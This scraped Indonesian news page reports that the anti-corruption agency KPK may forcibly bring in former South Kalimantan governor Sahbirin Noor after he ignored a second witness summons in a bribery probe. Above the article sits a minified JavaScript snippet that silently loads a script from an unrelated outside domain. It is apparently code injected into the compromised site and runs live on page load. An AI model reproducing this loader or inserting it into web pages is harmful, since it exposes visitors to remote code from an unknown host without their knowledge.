(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor yang tidak memenuhi panggilan penyidik, Jumat (22/11/2024) siang.
Mantan Gubernur yang akrab disapa Paman Birin itu seharusnya akan dimintai keterangan sebagai saksi dalam kasus dugaan suap terkait proyek di Pemprov Kalsel.
“Yang bersangkutan belum terindikasi hadir maupun menyampaikan alasan ketidakhadirannya,” kata Juru Bicara KPK Tessa Mahardhika di Gedung Merah Putih KPK, Jakarta, Jumat (22/11/2024) malam.
Panggilan kali ini merupakan kedua kalinya yang dilayangkan KPK kepada mantan Gubernur Kalsel itu. KPK membuka peluang menjemput paksa Sahbirin Noor.
Baca juga: KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini
“Secara normatif sesuai mekanisme aturan, saksi yang tidak memberikan keterangan atau alasan ketidakhadirannya yang tidak dapat dipertanggungjawabkan, dapat dilakukan penjemputan,” ungkap Tessa.
Upaya KPK menjemput paksa Sahbrin Noor menjadi keputusan penyidik. Tim penyidik KPK segera menentukan sikap atas setiap perkembangan dalam kasus ini.
“Apabila pertanyaan selanjutnya apakah yang bersangkutan akan dilakukan penjemputan paksa, maka ini akan berangkat sepenuhnya kepada penyidik,” ujar Tessa.
Direktorat Penyidikan KPK sebelumnya juga telah mengeluarkan surat pencegahan Sahbirin keluar negeri. Penyidik KPK akan memastikan Sahbirin tidak akan lari keluar negeri sekaligus membuka peluang menjemput paksa Sahbrin Noor. (Kanalkalimantan/Beritasatu.com/kk)
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.